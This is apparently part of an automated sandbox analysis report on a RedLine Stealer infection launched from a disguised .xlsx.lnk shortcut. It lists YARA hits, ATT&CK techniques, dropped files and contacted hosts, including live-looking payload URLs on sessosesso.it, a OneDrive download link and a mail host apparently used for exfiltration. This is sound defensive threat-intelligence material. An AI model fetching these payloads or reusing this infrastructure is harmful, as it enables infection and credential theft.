Source: Yara match	File source: 00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 23.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.1639938993.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1494437975.000000007EB10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1639938993.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.00000000004A0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1519434101.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2524457336.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.0000000000450000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000001.1624046151.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000001.1494452738.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000001.1707928386.00000000004A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1732584170.0000000000450000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	111 Input Capture	1 System Network Connections Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Valid Accounts	1 Access Token Manipulation	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	312 Process Injection	4 Software Packing	NTDS	58 System Information Discovery	Distributed Component Object Model	111 Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	21 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	261 Security Software Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	161 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FT. 40FE CNY .xlsx.lnk	32%	ReversingLabs	Shortcut.Trojan.RedLine
FT. 40FE CNY .xlsx.lnk	24%	Virustotal		Browse
FT. 40FE CNY .xlsx.lnk	100%	Avira	LNK/Dldr.Agent.VPYB
FT. 40FE CNY .xlsx.lnk	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Ucvuiswb.PIF	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\uc.exe	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Ucvuiswb.PIF	58%	ReversingLabs
C:\Users\Public\Libraries\Ucvuiswb.PIF	38%	Virustotal		Browse
C:\Users\Public\Libraries\bwsiuvcU.pif	3%	ReversingLabs
C:\Users\Public\Libraries\bwsiuvcU.pif	0%	Virustotal		Browse
C:\Users\Public\Libraries\easinvoker.exe	0%	ReversingLabs
C:\Users\Public\Libraries\easinvoker.exe	0%	Virustotal		Browse
C:\Users\Public\Libraries\netutils.dll	29%	ReversingLabs	Win64.Trojan.Zusy
C:\Users\Public\Libraries\netutils.dll	47%	Virustotal		Browse
C:\Users\user\AppData\Roaming\uc.exe	58%	ReversingLabs
C:\Users\user\AppData\Roaming\uc.exe	38%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
sessosesso.it	0%	Virustotal	Browse
dual-spov-0006.spov-msedge.net	0%	Virustotal	Browse
www.sessosesso.it	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://ocsp.sectigo.com0C	0%	URL Reputation	safe
https://www.sessosesso.it/assets/aw/yt.htaAC:	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaU	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htahttps://www.sessosesso.it/assets/aw/yt.hta	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta6288	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaDe	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta_	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaPS_BROW	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/uc.exep	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta1	0%	Avira URL Cloud	safe
https://www.sessosesso.it/	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/uc.exep	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.htaindows	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/uc.exe	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.htaAC:	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.htahttps://www.sessosesso.it/assets/aw/yt.hta	0%	Virustotal		Browse
https://www.sessosesso.it/	2%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.hta5	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/uc.exe	100%	Avira URL Cloud	malware
https://www.sessosesso.it	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaH	0%	Avira URL Cloud	safe
https://sessosesso.it	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaC:	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta...-	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/Book1.xlsx	0%	Avira URL Cloud	safe
https://sessosesso.it	1%	Virustotal		Browse
http://mail.irmaklarpaslanmaz.com.tr	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaC:	0%	Virustotal		Browse
http://r3.i.lencr.org/0o	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.hta...	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/Book1.xlsx	0%	Virustotal		Browse
https://www.sessosesso.it	2%	Virustotal		Browse
https://sessosesso.it/assets/aw/Book1.xlsx	0%	Avira URL Cloud	safe
https://www.sessosesso.it/assets/aw/yt.htaLMEMX	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0o	0%	Virustotal		Browse
http://www.apache.o	0%	Avira URL Cloud	safe
https://sessosesso.it/assets/aw/Book1.xlsx	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.hta...	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.hta	0%	Virustotal		Browse
https://www.sessosesso.it/assets/aw/yt.htaLMEMX	0%	Virustotal		Browse
http://www.apache.o	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sessosesso.it	89.46.106.29	true	true	0%, Virustotal, Browse	unknown
dual-spov-0006.spov-msedge.net	13.107.139.11	true	false	0%, Virustotal, Browse	unknown
www.sessosesso.it	89.46.106.29	true	true	2%, Virustotal, Browse	unknown
mail.irmaklarpaslanmaz.com.tr	192.185.124.132	true	true		unknown
zyupsq.by.files.1drv.com	unknown	unknown	false		high
onedrive.live.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.sessosesso.it/assets/aw/uc.exe	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://onedrive.live.com/download?resid=849ABDB14CA5CEC3%21220&authkey=!AGW69_d3Nli6r4Y	false		high
https://www.sessosesso.it/assets/aw/yt.hta	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sessosesso.it/assets/aw/Book1.xlsx	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.sessosesso.it/assets/aw/yt.htaDe	mshta.exe, 00000009.00000003.1853065476.000001A2C46E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htahttps://www.sessosesso.it/assets/aw/yt.hta	mshta.exe, 00000009.00000003.1859449128.000001A2C48C5000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microsoft	powershell.exe, 00000011.00000002.1634145596.0000029E324B0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htaU	mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htaAC:	FT. 40FE CNY .xlsx.lnk	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zyupsq.by.files.1drv.com/	uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.sessosesso.it/assets/aw/yt.hta6288	mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htaPS_BROW	mshta.exe, 00000009.00000002.1863884931.0000019AC19B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.hta_	mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://onedrive.live.com/_	uc.exe, 00000013.00000002.1496845420.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.sessosesso.it/assets/aw/uc.exep	powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.hta1	mshta.exe, 00000009.00000002.1863133474.0000019AC16A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sessosesso.it/	mshta.exe, 00000009.00000002.1863478690.0000019AC1727000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1724000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htaindows	mshta.exe, 00000009.00000002.1863133474.0000019AC170A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sessosesso.it/assets/aw/yt.hta5	mshta.exe, 00000009.00000002.1863133474.0000019AC16F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://live.com/	uc.exe, 00000013.00000002.1496845420.000000000081B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000F.00000002.1813302246.000002B010082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1813302246.000002B0101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r3.o.lencr.org0	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683385991.0000000041372000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1677075916.000000003BE2B000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1683295114.0000000041300000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1793876103.0000000029440000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1711636457.000000002944F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1794000591.00000000294C3000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2552799293.000000003BDB8000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556860764.0000000041253000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2556758276.00000000411C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000F.00000002.1678474741.000002B000001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A051000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.sessosesso.it/assets/aw/yt.htaH	mshta.exe, 00000009.00000002.1863790955.0000019AC1850000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sessosesso.it	powershell.exe, 00000011.00000002.1450441892.0000029E1A4D9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000F.00000002.1813302246.000002B010082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1813302246.000002B0101B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sessosesso.it	powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://account.dyn.com/	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DDE1000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025F71000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000000F.00000002.1678474741.000002B0011BC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.sessosesso.it/assets/aw/yt.htaC:	mshta.exe, 00000009.00000002.1863133474.0000019AC1680000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000011.00000002.1546422130.0000029E2A0E2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1320362193.0000021C38C80000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2531370506.0000021C38E00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.sessosesso.it/assets/aw/Book1.xlsx	powershell.exe, 00000011.00000002.1450441892.0000029E1A557000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1450441892.0000029E1A55B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.1450441892.0000029E1A30E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.sessosesso.it/assets/aw/yt.hta...-	mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.irmaklarpaslanmaz.com.tr	bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE3A000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1788431061.0000000025FC9000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554879629.000000003DD89000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
